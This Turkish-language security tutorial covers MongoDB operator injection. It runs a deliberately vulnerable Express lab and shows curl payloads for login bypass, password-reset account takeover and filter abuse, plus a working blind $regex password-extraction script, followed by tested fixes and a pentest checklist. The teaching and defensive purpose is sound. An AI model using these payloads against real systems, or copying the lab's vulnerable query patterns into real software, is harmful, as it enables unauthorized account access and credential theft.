NoSQL Injection, Bölüm 1: MongoDB API'lerinde Operatör Enjeksiyonu
Gerçek bir Express + MongoDB sürücüsü lab'ında $ne, $gt, $in ve $regex ile login bypass, şifre sıfırlama üzerinden hesap ele geçirme ve kör şifre çıkarma. Express 5'in açığı neden yarım kapattığı ve Mongoose 9'un varsayılan ayarlarla neden hâlâ açık olduğu da içinde.
NoSQL Injection, Bölüm 1: MongoDB API'lerinde Operatör Enjeksiyonu
SQL injection her yıl biraz daha azalıyor, çünkü artık çoğu framework parametreli sorguyu varsayılan olarak kullanıyor. NoSQL injection aynı eğriyi izlemedi. MongoDB sorguları JSON nesnesi, modern API'ler JSON body kabul ediyor ve bir JSON body, kodun string beklediği yere rahatlıkla bir nesne koyabiliyor. O nesne sorguya dokunulmadan ulaşırsa, saldırgan artık sorgu operatörü yazıyor demektir.
Bu seri, gerçek testlerde hâlâ karşımıza çıkan NoSQL injection türlerini sırayla ele alıyor:
- Operatör enjeksiyonu (bu bölüm): değer yerine
$ne,$gt,$in,$regex. - Sunucu tarafı JavaScript enjeksiyonu:
$where,$function,$accumulatorve 2026'da hâlâ ne çalışıyor. - Aggregation pipeline enjeksiyonu:
$match,$lookupve$expriçine giren kullanıcı girdisi. - MongoDB dışı: Elasticsearch query string, Redis komutları ve filtreyi doğrudan veritabanına geçiren GraphQL resolver'ları.
Bu bölümdeki her şey gerçek bir MongoDB wire protokolü sunucusuna karşı; resmi Node.js mongodb sürücüsü, Express 5.3 ve Mongoose 9.11 ile çalıştırıldı. Sunucu FerretDB 1.24; MongoDB 7.0 protokolünü ve sorgu operatörlerini uyguluyor. Aşağıdaki yanıtlar o çalıştırmadan birebir kopyalandı.
Lab
Üç endpoint, üçü de production'da görebileceğin türden kod: login, kullanıcı filtresi ve token ile şifre sıfırlama.
// Deliberately vulnerable NoSQL injection lab. Binds to 127.0.0.1 only.
import express from 'express';
import { MongoClient } from 'mongodb';
const MODE = process.argv[2] || 'vuln'; // vuln | safe | simpleqs
const SAFE = MODE === 'safe';
const client = await MongoClient.connect('mongodb://127.0.0.1:27017/');
const users = client.db('lab').collection('users');
if (MODE === 'vuln') {
await users.deleteMany({});
await users.insertMany([
{ username: 'admin', password: 'S3cr3t!x9', role: 'admin', resetToken: null },
{ username: 'alice', password: 'alice2026', role: 'user', resetToken: 'f3a9c2e1-77b0-4d1e-9a51-0c6b2d8e4a10' },
]);
}
const app = express();
// Express 4 parsed ?a[b]=c into objects by default ('extended'). Express 5 defaults to 'simple'.
if (MODE !== 'simpleqs') app.set('query parser', 'extended');
app.use(express.json());
// Safe mode: refuse anything that is not a plain string.
const str = (v) => {
if (SAFE && typeof v !== 'string') throw Object.assign(new Error('invalid input'), { status: 400 });
return v;
};
app.post('/login', async (req, res) => {
const user = await users.findOne({ username: str(req.body.username), password: str(req.body.password) });
if (!user) return res.status(401).json({ ok: false });
res.json({ ok: true, user: user.username, role: user.role });
});
app.get('/users', async (req, res) => {
const rows = await users.find({ role: str(req.query.role) }).project({ _id: 0, username: 1, role: 1 }).toArray();
res.json(rows);
});
app.post('/reset', async (req, res) => {
const user = await users.findOne({ resetToken: str(req.body.token) });
if (!user) return res.status(400).json({ ok: false, error: 'invalid token' });
await users.updateOne({ _id: user._id }, { $set: { password: str(req.body.newPassword), resetToken: null } });
res.json({ ok: true, reset: user.username });
});
app.use((err, req, res, next) => res.status(err.status || 500).json({ error: err.message }));
app.listen({ vuln: 3000, safe: 3001, simpleqs: 3002 }[MODE], '127.0.0.1');Şifreler sadece oracle'ı kolay görebilmek için düz metin tutuluyor. Hash'li durumu aşağıda ayrıca ele alıyorum; sanıldığı kadar güvenli değil.
Neden çalışıyor
Kod şunu bekliyor:
{ username: "admin", password: "wrong" }express.json() gelen her JSON'u parse ediyor, yani saldırgan bunun yerine şunu gönderebilir:
{ username: "admin", password: { "$ne": "x" } }Sürücü, nesnenin hangi kısmının geliştiriciden hangi kısmının istekten geldiğini bilmiyor. Nesnenin tamamını sunucuya gönderiyor, sunucu da { "$ne": "x" } ifadesini "şifre x'e eşit değil" olarak okuyor. Kaçılacak bir string ya da kapatılacak bir tırnak yok; saldırgan sorgunun metnini değil, yapısını kontrol ediyor.
Login bypass
Normal, başarısız bir giriş:
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}'
{"ok":false}Şifreye $ne:
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":"x"}}'
{"ok":true,"user":"admin","role":"admin"}Kullanıcı adını bilmiyor musun? $gt: "" boş olmayan her string'le eşleşir. findOne ilk eşleşmeyi döndürür; birçok koleksiyonda bu, oluşturulan ilk hesaptır ve çoğu zaman admin'dir:
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":{"$gt":""},"password":{"$gt":""}}'
{"ok":true,"user":"admin","role":"admin"}Belirli hesapları hedeflemek için olası isimlerle $in kullan:
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":{"$in":["admin","root","administrator"]},"password":{"$ne":null}}'
{"ok":true,"user":"admin","role":"admin"}Şifre sıfırlama ile hesap ele geçirme
Bu varyant code review'da kolayca gözden kaçıyor, çünkü "token rastgele bir UUID" cümlesi tartışmayı bitirmiş gibi geliyor. Sorun token'da değil, sorgunun kendisinde:
users.findOne({ resetToken: req.body.token })Token yerine operatör gönder. Bekleyen sıfırlama isteği olan herhangi bir hesap eşleşir:
$ curl -s http://127.0.0.1:3000/reset -H "Content-Type: application/json" \
-d '{"token":{"$ne":null},"newPassword":"pwned-2026"}'
{"ok":true,"reset":"alice"}
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":"alice","password":"pwned-2026"}'
{"ok":true,"user":"alice","role":"user"}Hesap; token olmadan, e-postaya erişmeden ve kurbanın hiçbir etkileşimi olmadan ele geçti. Belirli bir kullanıcı için sıfırlama başlatabiliyorsan (onun e-postasıyla POST /forgot), $ne: null'ın hangi hesaba düşeceğini de sen seçmiş olursun. Aynı kalıp e-posta doğrulama token'ları, davet kodları, API anahtarı sorguları ve magic-link girişleri için de geçerli.
Query string: Express 4 ve Express 5
Tek yol JSON body değil. Express 4'ün varsayılanı olan extended query parser'da köşeli parantez sözdizimi iç içe nesneye dönüşür:
$ curl -sg "http://127.0.0.1:3000/users?role=user"
[{"username":"alice","role":"user"}]
$ curl -sg "http://127.0.0.1:3000/users?role[\$ne]=user"
[{"username":"admin","role":"admin"}]
$ curl -sg "http://127.0.0.1:3000/users?role[\$regex]=."
[{"username":"admin","role":"admin"},{"username":"alice","role":"user"}]Express 5 varsayılanı simple parser'a çevirdi; bu parser iç içe nesne üretmiyor. Port 3002, aynı kodu extended ayarı olmadan çalıştırıyor:
$ curl -sg "http://127.0.0.1:3002/users?role[\$ne]=user"
[]Query string yolu kapandı. JSON body ise hâlâ açık:
$ curl -s http://127.0.0.1:3002/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":"x"}}'
{"ok":true,"user":"admin","role":"admin"}"Express 5'e geçtik" demek GET filtrelerini düzeltir, POST ve PUT body'lerine hiçbir şey yapmaz. Ayrıca koddaki app.set('query parser', 'extended') ya da doğrudan qs.parse() çağrılarını da ara; ikisi de eski davranışı geri getirir. Diğer framework'ler de aynı kontrolü hak ediyor. PHP password[$ne]=x girdisini kendiliğinden diziye çevirir; birçok Python ve Go handler'ı da filtreyi kurmadan önce JSON'u genel bir map'e açar.
$regex ile kör veri çıkarma
Login bir evet/hayır oracle'ı. $regex bunu şifreyi karakter karakter okumanın yoluna çeviriyor:
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^S"}}'
{"ok":true,"user":"admin","role":"admin"}
$ curl -s http://127.0.0.1:3000/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^A"}}'
{"ok":false}Her istekte tek karakter tahmin etmek yavaş. Karakter sınıfı her istekte kalan aralığı ikiye böler; böylece her karakter yaklaşık 7 istek tutar:
// Blind extraction through a login oracle using $regex.
const URL = 'http://127.0.0.1:3000/login';
let requests = 0;
async function oracle(regex) {
requests++;
const r = await fetch(URL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username: 'admin', password: { $regex: regex } }),
});
return (await r.json()).ok === true;
}
// Escape the known prefix so characters like . $ ( ) ! are matched literally.
const lit = (s) => s.replace(/[.*+?^${}()|[\]\\\/-]/g, '\\$&');
const hex = (c) => '\\x' + c.toString(16).padStart(2, '0');
async function nextChar(prefix) {
let lo = 0x20, hi = 0x7e; // printable ASCII
if (!(await oracle(`^${lit(prefix)}[${hex(lo)}-${hex(hi)}]`))) return null;
while (lo < hi) {
const mid = (lo + hi) >> 1;
if (await oracle(`^${lit(prefix)}[${hex(lo)}-${hex(mid)}]`)) hi = mid;
else lo = mid + 1;
}
return String.fromCharCode(lo);
}
let value = '';
for (let c; (c = await nextChar(value)) !== null; ) value += c;
console.log(`password=${value} requests=${requests}`);password=S3cr3t!x9 requests=73Dokuz karakter, 73 istek. İki ayrıntı önemli:
- Öneki escape et.
lit()olmazsa çıkarılan bir.ya da$regex meta karakterine dönüşür ve sonraki tahminler yanlış şeyle eşleşir. Çıkarma işlemi hata vermek yerine sessizce yanlış sonuca kayar. - Sonu tespit et. Script, önekten sonra yazdırılabilir bir karakter kalmadığında durur. Sonucu
^...$ile çapalanmış bir eşleşmeyle doğrulayabilirsin.
"Şifrelerimiz hash'li, bu bize uymaz"
Kısmen uyar. Kod önce kullanıcı adıyla arayıp sonra bcrypt.compare(input, user.hash) çalıştırıyorsa, şifre alanındaki $ne hilesi tutmaz; çünkü bcrypt.compare bir nesne alır. Ama kullanıcı adı sorgusu hâlâ enjekte edilebilir. username ya da email üzerinde $regex ile hesapları listeleyebilir, aynı oracle'la aynı sorgudaki her alanı çıkarabilirsin: sıfırlama token'ları, API anahtarları, düz metin tutulan TOTP secret'ları ya da offline kıracağın hash'in kendisi.
Düzeltmeler (test edildi)
1. String olmayanı sınırda reddet
Lab'daki güvenli mod tek bir şey yapıyor: string olması gereken bir değer string değilse 400 dönüyor.
$ curl -s http://127.0.0.1:3001/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":"x"}}'
{"error":"invalid input"}
$ curl -sg "http://127.0.0.1:3001/users?role[\$ne]=user"
{"error":"invalid input"}
$ curl -s http://127.0.0.1:3001/reset -H "Content-Type: application/json" \
-d '{"token":{"$ne":null},"newPassword":"x"}'
{"error":"invalid input"}
$ curl -s http://127.0.0.1:3001/login -H "Content-Type: application/json" \
-d '{"username":"admin","password":"S3cr3t!x9"}'
{"ok":true,"user":"admin","role":"admin"}Gerçek bir kod tabanında bunu, çağırmayı hatırlaman gereken bir yardımcı fonksiyonla değil, her route'ta çalışan bir şema doğrulayıcıyla yap (Zod, Joi, Ajv, class-validator). z.object({ username: z.string(), password: z.string() }).strict() saldırıyı daha veritabanı koduna gelmeden reddeder.
2. $eq ile karşılaştır
Girdi bir filtreye girmek zorundaysa onu $eq ile sar. $eq'ya verilen nesne operatör olarak yorumlanmaz, düz değer olarak karşılaştırılır:
users.countDocuments({ username: 'admin', password: { $ne: 'x' } })
// 1
users.countDocuments({ username: { $eq: 'admin' }, password: { $eq: { $ne: 'x' } } })
// 03. Mongoose: şema seni korumuyor
Şemada password: String tanımlıysa nesneleri reddetmesi gerektiğini düşünürsün. Mongoose 9.11 varsayılan ayarlarla reddetmiyor; çünkü $ne geçerli bir sorgu operatörü ve Mongoose operatörün kendisini değil, operatörün değerini cast ediyor:
const User = mongoose.model('User', new mongoose.Schema({ username: String, password: String, role: String }), 'users');
await User.countDocuments({ username: 'admin', password: { $ne: 'x' } })
// 1
await User.countDocuments({ username: 'admin', password: { $ne: 'x' } }).setOptions({ sanitizeFilter: true })
// CastError: Cast to string failed for value "{ '$ne': 'x' }" (type Object) at path "password"Bunu mongoose.set('sanitizeFilter', true) ile global olarak aç. Kendi kodunun gerçekten operatöre ihtiyaç duyduğu yerde mongoose.trusted({ $ne: ... }) ile açıkça işaretle.
4. Düzeltme sanılan ama olmayanlar
- String içinde
$engellemek. Saldırı değeri string değil, nesne. String filtresi onu hiç görmez. - Tek başına
express-mongo-sanitize.req.body,req.queryvereq.paramsiçinden$ile başlayan anahtarları siler; bu işe yarar. Ama veritabanına başka yoldan ulaşan değerleri kapsamaz: WebSocket mesajları, kuyruk payload'ları, GraphQL değişkenleri ya da kaydedilip sonradan okunan veri. - Rate limiting. Regex ile çıkarmayı yavaşlatır. Login bypass ve sıfırlama üzerinden ele geçirme ise tek istekte biter.
Test kontrol listesi
- Sorguya ulaşan her JSON alanında değer yerine
{"$ne": null},{"$gt": ""}ve{"$regex": "."}gönder. - Aynısını query parametrelerinde köşeli parantezle tekrarla:
param[$ne]=x. - Token sorgularını öne al: şifre sıfırlama, e-posta doğrulama, davetler, magic link, API anahtarları.
- Sadece "başarılı" bayrağına değil; yanıt uzunluğuna, status koduna ve süreye de bak. Kısmi eşleşmeler yanıtı çoğu zaman küçük şekillerde değiştirir.
- Evet/hayır farkı bulduysan, hassas olmayan bir alanı kısa bir
$regexçıkarmasıyla okuyarak etkiyi kanıtla ve istek sayısını rapora yaz. - Code review'da, şema doğrulamasından geçmeden
find,findOne,updateOne,deleteManyya daaggregateçağrısına gidenreq.body.vereq.query.değerlerini ara.
- bölümde operatörlerden koda geçiyoruz:
$whereve MongoDB'nin sunucu tarafında hâlâ JavaScript çalıştırdığı diğer yerler.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver